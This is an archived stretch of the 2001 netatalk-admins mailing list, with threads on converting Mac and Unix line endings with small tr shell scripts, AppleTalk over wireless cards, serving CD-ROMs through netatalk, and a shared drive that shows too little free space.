Content-Type: TEXT/PLAIN; charset=US-ASCII

On Sat, 3 Feb 2001, Paul Schinder wrote:

> GNU emacs has no problems reading files with Mac end-of-line.  20.7 
> even tells you what the line endings are (like Alpha, for example) 
> and as I just verified, uses Mac EOL if you add lines to a Mac file.

And *EVERYBODY* uses GNU emacs, right?  :)

-- 
__________________________________________________________________________
Lee Sheridan                            301.286.5898 voice
NASA / Goddard Space Flight Center      lsherida@nccs.gsfc.nasa.gov
Computer Sciences Corporation 		Building 28, Room S241
Code 931




From netatalk.administrators-errors@umich.edu  Sun Feb  4 05:12:33 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id FAA13179
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 4 Feb 2001 05:12:33 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id FAA12908
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 4 Feb 2001 05:12:27 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id FAA12898
	for netatalk.administrators-members@umich.edu; Sun, 4 Feb 2001 05:12:27 -0500 (EST)
Received: from winery.garlic.com (winery-en0b.garlic.com [216.139.31.163])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id FAA12875
	for <netatalk-admins@umich.edu>; Sun, 4 Feb 2001 05:12:25 -0500 (EST)
Received: (from johana@localhost)
	by winery.garlic.com (8.11.1/8.11.1) id f14ACUN57794
	for netatalk-admins@umich.edu; Sun, 4 Feb 2001 02:12:30 -0800
Received:  by johana.com (UUPC/extended 1.12p);
           Sun, 04 Feb 2001 00:57:54 -0800
Message-ID: <3a7d1992.johana@johana.com>
Date:      Sun, 04 Feb 2001 00:57:54 -0800
From: "Tom Watson" <tsw@johana.com>
To: netatalk-admins@umich.edu
Subject:   Re: CRLF fun stuff again... 

On Sat, 3 Feb 2001 14:54:13 -0500 (EST), 
	Duncan Sinclair <sinclair@dis.strath.ac.uk> writes:
> 
> Marc Miller writes:
<<<Marks deletia about why not>>>
> 
<<<Duncan's deletia about why it should work>>>
> 
> 
> Duncan.
> 

Geez folks, how about making a "simple" script like:

#!/bin/sh
tr "\015\012" "\012\015" $1 $$converted
rm $1
mv $$converted $1


And put it somewhere nice (/usr/local/bin) and give it a nice name.  It will
convert to & from mac endings (<cr>, \015) to Unix/Linux/HP-UX endings (<lf>,
\012).

If your favorite editor doesn't see the line endings, convert it, and then
use it, then convert it back.  This isn't rocket science.  Anyway, HTML
could care less about line endings anyway.  Be thankful you don't have
Windoze, they use TWO characters as line endings.

Further rant deleted by author.  It has been said all before.  No use
wasting bandwidth.  (*SIGH*)
-- 
Tom Watson         Generic short signature
tsw@johana.com     (I'm at home now)

From netatalk.administrators-errors@umich.edu  Sun Feb  4 05:12:33 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id FAA13181
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 4 Feb 2001 05:12:33 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id FAA12910
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 4 Feb 2001 05:12:27 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id FAA12900
	for netatalk.administrators-members@umich.edu; Sun, 4 Feb 2001 05:12:27 -0500 (EST)
Received: from winery.garlic.com (winery-en0b.garlic.com [216.139.31.163])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id FAA12877
	for <netatalk-admins@umich.edu>; Sun, 4 Feb 2001 05:12:25 -0500 (EST)
Received: (from johana@localhost)
	by winery.garlic.com (8.11.1/8.11.1) id f14ACUi57796
	for netatalk-admins@umich.edu; Sun, 4 Feb 2001 02:12:30 -0800
Received:  by johana.com (UUPC/extended 1.12p);
           Sun, 04 Feb 2001 01:36:26 -0800
Message-ID: <3a7d229a.johana@johana.com>
Date:      Sun, 04 Feb 2001 01:36:26 -0800
From: "Tom Watson" <tsw@johana.com>
To: netatalk-admins@umich.edu
Subject:   Re: Wireless Appletalk

Check the driver for the LAN intrfaces.  AppleTalk REQUIRES that
MAC level interfaces provide a hardware multicast capability.  Some
drivers (I worked on one) don't provide it, or do it in a very
marginal way (like only in promiscous mode).  I just took a brief
look at the code (file "wavelan.c" in .../drivers/net) and saw some
code relating to hardware multicast mode.  Some code in OTHER parts
of the networking are need to have the configuration paramater for
"IP: multicasting" (which is quite another thing, really) turned on to
enable MAC level (ISO level 2) multicast things.  You might want to
check there.  If you have some way of "sniffing" at packets, you might
look there to see that when things such as AppleTalk name lookups happen
(use the program 'nbplkup'), the multicast address (09:00:07:FF:FF:FF)
gets out.  Then look for a response back.

Good luck in your work.
Sorry about the delay in a response.  I've been busy.

On Mon, 29 Jan 2001 12:55:37 -0500 (EST), netatalk-admins@umich.edu wrote:
> Anyone gotten netatalk running on a wireless network?  I am using the lucent 
> cards Wavelan/IEEE in ad-hoc mode...  I want my router to act as the head end 
> appletalk router defining networks and zones...  I am guessing the broadcast 
> is what is screwing it up...  I don't even get zones...  I took a working 
> atalkd config and just changed interfaces...  now it doesn't work on the 
> wireless... here is my config
> eth2 -router -net 50-55 -address 50.1 -zone "Stuff" -zone "Other Stuff"
> 
> (note the options might not be the exact terms  I am not at the box...)
> 
> Any help?
> 
-- 
Tom Watson         Generic short signature
tsw@johana.com     (I'm at home now)

From netatalk.administrators-errors@umich.edu  Sun Feb  4 18:03:42 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA24866
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 4 Feb 2001 18:03:42 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA02634
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 4 Feb 2001 18:03:42 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA02609
	for netatalk.administrators-members@umich.edu; Sun, 4 Feb 2001 18:03:41 -0500 (EST)
Received: from priv-edtnes10-hme0.telusplanet.net (mtaout.telus.net [199.185.220.235])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id SAA02525
	for <netatalk-admins@umich.edu>; Sun, 4 Feb 2001 18:03:39 -0500 (EST)
Received: from telusplanet.net ([161.184.167.160])
          by priv-edtnes10-hme0.telusplanet.net
          (InterMail vM.4.01.03.10 201-229-121-110) with ESMTP
          id <20010204230337.NVBB3566.priv-edtnes10-hme0.telusplanet.net@telusplanet.net>
          for <netatalk-admins@umich.edu>; Sun, 4 Feb 2001 16:03:37 -0700
Sender: stef@telusplanet.net
Message-ID: <3A7D7DC3.95192108@telusplanet.net>
Date: Sun, 04 Feb 2001 09:05:23 -0700
From: Stefan Srdic <linuxbox@telusplanet.net>
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.0 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: Sharing CD-ROM's and Floppy's via NetaTalk
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

I've recently configured an old Pentium to serve as a Apple file server
on a simple peer-peer network. I have been requested by my client to
configure the Linux box so that he would be able to mount floppies and
CD-ROM drives over the network. How do you accomplish this?

So far, the user is able to log into the Linux box and mount his home
diretory over the network. How do I give permissions to this user and
configure NetaTalk so that he can mount floppies and CD-ROM's?

Thanks

Stef


From netatalk.administrators-errors@umich.edu  Sun Feb  4 19:03:50 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA25751
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 4 Feb 2001 19:03:49 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA02246
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 4 Feb 2001 19:03:49 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA02230
	for netatalk.administrators-members@umich.edu; Sun, 4 Feb 2001 19:03:49 -0500 (EST)
Received: from plato.arts.usyd.edu.au (plato.arts.usyd.edu.au [129.78.16.1])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id TAA02159
	for <netatalk-admins@umich.edu>; Sun, 4 Feb 2001 19:03:45 -0500 (EST)
Received: from arts.usyd.edu.au (IDENT:matthew@whitestar.arts.usyd.edu.au [129.78.16.20])
	by plato.arts.usyd.edu.au (8.9.3/8.9.3) with ESMTP id LAA01845;
	Mon, 5 Feb 2001 11:03:17 +1100 (EST)
Sender: matthew@plato.arts.usyd.edu.au
Message-ID: <3A7DEECE.60069353@arts.usyd.edu.au>
Date: Mon, 05 Feb 2001 11:07:42 +1100
From: Matthew Geier <matthew@arts.usyd.edu.au>
Organization: Arts IT Unit, Sydney University
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.0-XFS i686)
X-Accept-Language: en, pdf
MIME-Version: 1.0
To: Duncan Sinclair <sinclair@dis.strath.ac.uk>, netatalk-admins@umich.edu
Subject: Re: CRLF fun stuff again...
References: <12810.981202108@dis.strath.ac.uk>
Content-Type: multipart/signed; protocol="application/x-pkcs7-signature"; micalg=sha1; boundary="------------ms3B143497557693B09E6550F2"

This is a cryptographically signed message in MIME format.

--------------ms3B143497557693B09E6550F2
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Duncan Sinclair wrote:
> 
> Hi Folks,
> 
> I wrote:
> >Until now, every time I mention this problem, people tell me that I
> >shouldn't want to do cr/lf translation, and it's an ugly hack.  My reply
> >is that it is necessary for cross platform file manipulation, and I
> >really, actually, want it, thank you very much.
> 
> Donald Lee writes:
> >If I may add my two cents, I think it's a bad idea for the filesystem to
> >effectively blindly fondle and convert the data.  There are plenty of tools
> >out there, like bbedit, that handle text files regardless of how their
> >line endings are done.
> >
> >The downside of a problem with the CR/LF "feature" is irretrievably corrupted
> >data.  What you get for this is arguably a minor "convenience".
> >
> >I think it's a bad trade.
> >
> >I keep it turned off, and recommend this to all who ask.
> 
> This is the sort of thing I mean.  I know that BBEdit handles Unix
> files transparently.  That's not what I'm interested in.  I want to
> edit Mac-produced files on the Unix end.  Vi doesn't "do" Mac-style
> line endings.  Nor does any other unix utility.  Nor should they.
> 
> Typical example... I have users that edit HTML pages using their
> favourite HTML editor and then copy their pages to my server.  I later
> may want to edit their pages from my Sun.  I first have to do the cr/lf
> conversion myself.  I wouldn't have to do this if the cr/lf translation
> worked properly.

 'vim' does Mac and PC style eol conventions and can auto detect. VIM is
often shipped as the 'vi' on Linux distributions.


 It is worth noting that the Samba team have point blank refused to add
any form of 'translation' to Samba. It serves files exactly 'as is'.
They argue that EOL conventions are an Application problem and its not
the file servers job to try and guess what the user is up to and mess
around with the contents of the files.


-- 
Matthew Geier			matthew@arts.usyd.edu.au
Arts IT Unit			+61 2 9351 4713
Sydney University
--------------ms3B143497557693B09E6550F2
Content-Type: application/x-pkcs7-signature; name="smime.p7s"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="smime.p7s"
Content-Description: S/MIME Cryptographic Signature

MIIH4AYJKoZIhvcNAQcCoIIH0TCCB80CAQExCzAJBgUrDgMCGgUAMAsGCSqGSIb3DQEHAaCC
BckwggKtMIICFqADAgECAgMC8UswDQYJKoZIhvcNAQEEBQAwgZQxCzAJBgNVBAYTAlpBMRUw
EwYDVQQIEwxXZXN0ZXJuIENhcGUxFDASBgNVBAcTC0R1cmJhbnZpbGxlMQ8wDQYDVQQKEwZU
aGF3dGUxHTAbBgNVBAsTFENlcnRpZmljYXRlIFNlcnZpY2VzMSgwJgYDVQQDEx9QZXJzb25h
bCBGcmVlbWFpbCBSU0EgMTk5OS45LjE2MB4XDTAwMDcyMTAyNDAzNFoXDTAxMDcyMTAyNDAz
NFowSjEfMB0GA1UEAxMWVGhhd3RlIEZyZWVtYWlsIE1lbWJlcjEnMCUGCSqGSIb3DQEJARYY
bWF0dGhld0BhcnRzLnVzeWQuZWR1LmF1MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDR
gAKbBhCplgqyhkR0Ykn4XOW0Py1G40orbP+B2KkACTMx4GxhHNg2h3nPiNC/P/9BZETw6NA+
dp/mxtN7XHmvRounnCL+9pjG3yWpw/ONNEpObjRSfujGe/jJvUF2vrAfecI/J5DKQ0/5gZMv
5fqfl4spYSPl+9vc2hKG7uvjgQIDAQABo1YwVDAjBgNVHREEHDAagRhtYXR0aGV3QGFydHMu
dXN5ZC5lZHUuYXUwDAYDVR0TAQH/BAIwADAfBgNVHSMEGDAWgBSIq/Fgg2ZV9ORYx0YdwGG9
I9fDjDANBgkqhkiG9w0BAQQFAAOBgQBjjvY9P9hSktFnCJrkQSTKjh9ZBG9a58a0Hi+GvmyD
t9e29sRgxHN+Nwtsu2yUs8+xv1BemYzCnri+y91uJsfRTrm4+1oc/TV+lDGWqBud68wf4x29
/xaj1oQ2vWMy1Y64KZSWyxjt+vcU5/nyNF3DGz9XtXlxTI8dntzEWkyq/DCCAxQwggJ9oAMC
AQICAQswDQYJKoZIhvcNAQEEBQAwgdExCzAJBgNVBAYTAlpBMRUwEwYDVQQIEwxXZXN0ZXJu
IENhcGUxEjAQBgNVBAcTCUNhcGUgVG93bjEaMBgGA1UEChMRVGhhd3RlIENvbnN1bHRpbmcx
KDAmBgNVBAsTH0NlcnRpZmljYXRpb24gU2VydmljZXMgRGl2aXNpb24xJDAiBgNVBAMTG1Ro
YXd0ZSBQZXJzb25hbCBGcmVlbWFpbCBDQTErMCkGCSqGSIb3DQEJARYccGVyc29uYWwtZnJl
ZW1haWxAdGhhd3RlLmNvbTAeFw05OTA5MTYxNDAxNDBaFw0wMTA5MTUxNDAxNDBaMIGUMQsw
CQYDVQQGEwJaQTEVMBMGA1UECBMMV2VzdGVybiBDYXBlMRQwEgYDVQQHEwtEdXJiYW52aWxs
ZTEPMA0GA1UEChMGVGhhd3RlMR0wGwYDVQQLExRDZXJ0aWZpY2F0ZSBTZXJ2aWNlczEoMCYG
A1UEAxMfUGVyc29uYWwgRnJlZW1haWwgUlNBIDE5OTkuOS4xNjCBnzANBgkqhkiG9w0BAQEF
AAOBjQAwgYkCgYEAs2lal9TQFgt6tcVd6SGcI3LNEkxL937Px/vKciT0QlKsV5Xje2F6F4Tn
/XI5OJS06u1lp5IGXr3gZfYZu5R5dkw+uWhwdYQc9BF0ALwFLE8JAxcxzPRB1HLGpl3iiESw
iy7ETfHw1oU+bPOVlHiRfkDpnNGNFVeOwnPlMN5G9U8CAwEAAaM3MDUwEgYDVR0TAQH/BAgw
BgEB/wIBADAfBgNVHSMEGDAWgBRyScJzNMZV9At2coF+d/SH58ayDjANBgkqhkiG9w0BAQQF
AAOBgQBrxlnpMfrptuyxA9jfcnL+kWBI6sZV3XvwZ47GYXDnbcKlN9idtxcoVgWL3Vx1b8aR
kMZsZnET0BB8a5FvhuAhNi3B1+qyCa3PLW3Gg1Kb+7v+nIed/LfpdJLkXJeu/H6syg1vcnpn
LGtz9Yb5nfUAbvQdB86dnoJjKe+TCX5V3jGCAd8wggHbAgEBMIGcMIGUMQswCQYDVQQGEwJa
QTEVMBMGA1UECBMMV2VzdGVybiBDYXBlMRQwEgYDVQQHEwtEdXJiYW52aWxsZTEPMA0GA1UE
ChMGVGhhd3RlMR0wGwYDVQQLExRDZXJ0aWZpY2F0ZSBTZXJ2aWNlczEoMCYGA1UEAxMfUGVy
c29uYWwgRnJlZW1haWwgUlNBIDE5OTkuOS4xNgIDAvFLMAkGBSsOAwIaBQCggZkwGAYJKoZI
hvcNAQkDMQsGCSqGSIb3DQEHATAcBgkqhkiG9w0BCQUxDxcNMDEwMjA1MDAwNzQzWjAjBgkq
hkiG9w0BCQQxFgQUfFI5lmkrkNoofKGGQmQzlB2UA28wOgYJKoZIhvcNAQkPMS0wKzAKBggq
hkiG9w0DBzAOBggqhkiG9w0DAgICAIAwDQYIKoZIhvcNAwICAUAwDQYJKoZIhvcNAQEBBQAE
gYAym5ViDvvElMdIQUg6Qw6v1kCJiwKl6kjL/OwV4PsTK5J+hI7y1tznpCTL4UEgAcju+TlG
RvVIMQ/kny2e5DeP7kc/IYM9en9W94V4w0JVlr8JnlkN96XsLq0CfQ+noYeaY/otdbv32Pk0
BU+az3m2K5V0I4ATT4yxMYmSsoH7RA==
--------------ms3B143497557693B09E6550F2--


From netatalk.administrators-errors@umich.edu  Sun Feb  4 19:43:53 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA26574
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 4 Feb 2001 19:43:52 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA18740
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 4 Feb 2001 19:43:52 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA18710
	for netatalk.administrators-members@umich.edu; Sun, 4 Feb 2001 19:43:52 -0500 (EST)
Received: from smtprelay2.adelphia.net (smtprelay2.adelphia.net [64.8.25.7])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id TAA18657
	for <netatalk-admins@umich.edu>; Sun, 4 Feb 2001 19:43:51 -0500 (EST)
Received: from concentric.net ([24.48.84.198]) by
          smtprelay2.adelphia.net (Netscape Messaging Server 4.15) with
          ESMTP id G89DZO00.4Q2 for <netatalk-admins@umich.edu>; Sun, 4
          Feb 2001 19:43:00 -0500 
Sender: pbechtel@concentric.net
Message-ID: <3A7DF752.71C6BE41@concentric.net>
Date: Sun, 04 Feb 2001 19:44:02 -0500
From: "Philip B. Bechtel" <pbechtel@concentric.net>
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.17-21mdk i586)
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: Re: Sharing CD-ROM's and Floppy's via NetaTalk
References: <3A7D7DC3.95192108@telusplanet.net>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Stefan,

    I used Supermount to allow the CDs to be mounted.  It worked ok for
most files, but never was satisfactory for Mac executables.
The reason was that the date/time information that Linux offered to the
Mac clients, was almost always out-of-order, and the software
would refuse to work.

Good Luck, and let me know if it works.  It was a long time ago, that I
used netatalk to serve CDs to Macs, I hope the date/time
information has been corrected, kernel 1.3.

Phil

Stefan Srdic wrote:

> I've recently configured an old Pentium to serve as a Apple file server
> on a simple peer-peer network. I have been requested by my client to
> configure the Linux box so that he would be able to mount floppies and
> CD-ROM drives over the network. How do you accomplish this?
>
> So far, the user is able to log into the Linux box and mount his home
> diretory over the network. How do I give permissions to this user and
> configure NetaTalk so that he can mount floppies and CD-ROM's?
>
> Thanks
>
> Stef

--
- Philip B, Bechtel                                                    -
- AARDSYS,LLC                         "The earth is but one country    -
- (716) 778-5271                       and mankind it's citizens."     -
- PBechtel@concentric.net                -- Baha'u'llah                -




From netatalk.administrators-errors@umich.edu  Sun Feb  4 19:46:37 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA26618
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 4 Feb 2001 19:46:36 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA12455
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 4 Feb 2001 19:46:31 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA12453
	for netatalk.administrators-members@umich.edu; Sun, 4 Feb 2001 19:46:30 -0500 (EST)
Received: from clever.visp-europe.psi.com (clever.visp-europe.psi.com [212.222.105.4])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id TAA12449
	for <netatalk-admins@umich.edu>; Sun, 4 Feb 2001 19:46:28 -0500 (EST)
Received: from n247-27.berlin.snafu.de ([195.21.247.27] helo=athlet.deltaman.de)
	by clever.visp-europe.psi.com with esmtp (Exim 3.22 #1)
	id 14PZnY-0005H4-00
	for netatalk-admins@umich.edu; Mon, 05 Feb 2001 01:46:29 +0100
Received: from athlet (root@athlet.deltaman.de [192.168.1.1])
	by athlet.deltaman.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with SMTP id BAA28326
	for <netatalk-admins@umich.edu>; Mon, 5 Feb 2001 01:45:28 +0100
From: Carsten Neumann <deltor@snafu.de>
Reply-To: deltor@snafu.de
To: netatalk-admins@umich.edu
Subject: Re: CRLF fun stuff again...
Date: Mon, 5 Feb 2001 01:44:32 +0100
X-Mailer: KMail [version 1.0.28]
Content-Type: text/plain
References: <3a7d1992.johana@johana.com>
In-Reply-To: <3a7d1992.johana@johana.com>
MIME-Version: 1.0
Message-Id: <01020422534000.26432@athlet>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id TAA26618

On Sun, 04 Feb 2001, Tom Watson wrote:
> On Sat, 3 Feb 2001 14:54:13 -0500 (EST), 
> 	Duncan Sinclair <sinclair@dis.strath.ac.uk> writes:
> > 
> > Marc Miller writes:
> <<<Marks deletia about why not>>>
> > 
> <<<Duncan's deletia about why it should work>>>
> > 
> > 
> > Duncan.
> > 
> 
> Geez folks, how about making a "simple" script like:
> 
> #!/bin/sh
> tr "\015\012" "\012\015" $1 $$converted
> rm $1
> mv $$converted $1

This one has some disadvantages:
1. My (gnu-)tr only reads from stdin and writes to stdout.
2. The file-name must not contain spaces - but Mac-files often do.
3. The permissions and dates are changed.

A better one:

#!/bin/sh
tr '\r\n' '\n\r' < "$1" > $$converted
touch --reference "$1" $$converted
chmod --reference "$1" $$converted
mv -f $$converted "$1"

> 
> 
> And put it somewhere nice (/usr/local/bin) and give it a nice name.  It will
> convert to & from mac endings (<cr>, \015) to Unix/Linux/HP-UX endings (<lf>,
> \012).
> 
> If your favorite editor doesn't see the line endings, convert it, and then
> use it, then convert it back.  This isn't rocket science.  Anyway, HTML
> could care less about line endings anyway.  Be thankful you don't have
> Windoze, they use TWO characters as line endings.
> 
> Further rant deleted by author.  It has been said all before.  No use
> wasting bandwidth.  (*SIGH*)
> -- 
> Tom Watson         Generic short signature
> tsw@johana.com     (I'm at home now)

Regards

	Carsten

From netatalk.administrators-errors@umich.edu  Sun Feb  4 21:35:39 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id VAA29022
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 4 Feb 2001 21:35:38 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id VAA03467
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 4 Feb 2001 21:35:32 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id VAA03458
	for netatalk.administrators-members@umich.edu; Sun, 4 Feb 2001 21:35:32 -0500 (EST)
Received: from clever.visp-europe.psi.com (clever.visp-europe.psi.com [212.222.105.4])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id VAA03429
	for <netatalk-admins@umich.edu>; Sun, 4 Feb 2001 21:35:30 -0500 (EST)
Received: from n163-43.berlin.snafu.de ([195.21.163.43] helo=athlet.deltaman.de)
	by clever.visp-europe.psi.com with esmtp (Exim 3.22 #1)
	id 14PbV9-0001su-00
	for netatalk-admins@umich.edu; Mon, 05 Feb 2001 03:35:35 +0100
Received: from athlet (root@athlet.deltaman.de [192.168.1.1])
	by athlet.deltaman.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with SMTP id DAA28761
	for <netatalk-admins@umich.edu>; Mon, 5 Feb 2001 03:17:53 +0100
From: Carsten Neumann <deltor@snafu.de>
Reply-To: deltor@snafu.de
To: netatalk-admins@umich.edu
Subject: Re: Sharing CD-ROM's and Floppy's via NetaTalk
Date: Mon, 5 Feb 2001 02:11:26 +0100
X-Mailer: KMail [version 1.0.28]
Content-Type: text/plain
References: <3A7D7DC3.95192108@telusplanet.net> <3A7DF752.71C6BE41@concentric.net>
In-Reply-To: <3A7DF752.71C6BE41@concentric.net>
MIME-Version: 1.0
Message-Id: <01020503175204.26432@athlet>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id VAA29022

On Mon, 05 Feb 2001, Philip B. Bechtel wrote:
> Stefan,
> 
>     I used Supermount to allow the CDs to be mounted.  It worked ok for
> most files, but never was satisfactory for Mac executables.
> The reason was that the date/time information that Linux offered to the
> Mac clients, was almost always out-of-order, and the software
> would refuse to work.
> 
> Good Luck, and let me know if it works.  It was a long time ago, that I
> used netatalk to serve CDs to Macs, I hope the date/time
> information has been corrected, kernel 1.3.
> 
> Phil

I think the bigger problem is that your resource fork and finder info will get dropped.
Afpd uses the .AppleDouble dir to store these things, i.e. one extra file per mac file.
An HFS volume (or ISO9660 w/HFS extension) stores these in two separate directories .finderinfo and
.resource, i.e. two extra files per mac file.
They aren't seen by afpd.
So you only have access to the data fork, which is sometimes not enough. ;-)
Or is there an option to mount HFS volumes that they can properly be used via afpd?
Or an option for afpd?

> 
> Stefan Srdic wrote:
> 
> > I've recently configured an old Pentium to serve as a Apple file server
> > on a simple peer-peer network. I have been requested by my client to
> > configure the Linux box so that he would be able to mount floppies and
> > CD-ROM drives over the network. How do you accomplish this?
> >
> > So far, the user is able to log into the Linux box and mount his home
> > diretory over the network. How do I give permissions to this user and
> > configure NetaTalk so that he can mount floppies and CD-ROM's?
> >
> > Thanks
> >
> > Stef

Regards

	Carsten

From netatalk.administrators-errors@umich.edu  Sun Feb  4 21:52:06 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id VAA29266
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 4 Feb 2001 21:52:06 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id VAA08593
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 4 Feb 2001 21:52:06 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id VAA08587
	for netatalk.administrators-members@umich.edu; Sun, 4 Feb 2001 21:52:05 -0500 (EST)
Received: from leaf.lumiere.net (leaf.lumiere.net [208.44.192.100])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id VAA08555
	for <netatalk-admins@umich.edu>; Sun, 4 Feb 2001 21:52:04 -0500 (EST)
Received: from [10.11.12.51] (adsl-209-233-23-200.dsl.snfc21.pacbell.net [209.233.23.200])
	by leaf.lumiere.net (Postfix) with ESMTP id 5364DD13B
	for <netatalk-admins@umich.edu>; Sun,  4 Feb 2001 18:52:03 -0800 (PST)
Mime-Version: 1.0
X-Sender: kevin@pop.lumiere.net
Message-Id: <v04220801b6a3c29a37e4@[10.11.12.51]>
Date: Sun, 4 Feb 2001 18:51:32 -0800
To: netatalk-admins@umich.edu
From: Kevin Shrieve <kevin@lumiere.net>
Subject: my Mac sees much less hard drive space
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

We've installed netatalk-1.4b2 on a FreeBSD 4.2-20001121-BETA system.

A 20G shared partition displays as 1.6G from a Mac OS 9.04 machine. 
All 20G are available from a Win 98 machine.

I see a mention of this in the archives from August.  Has this 
problem been resolved?  If not, are there workaround strategies? 
Surely this is not what most netatalk users encounter, eh?

Thanks for any help.

kevin at lumiere.net


>  >  -----Original Message-----
>  >  From: Steve Freitas [mailto:sflist@ihonk.com]
>  >  Sent:	Monday, August 07, 2000 11:59 AM
>  >  To:	Mike Johnson; Netatalk
>  >  Subject:	Re: Problem with displayed hard drive space
>  >
>  >  > When a
>  >  >mac logs in, they see only the miserable little amount of free space left
>  >  on
>  >  >linux, not the wide-open space available on the mounted directories.
>  >
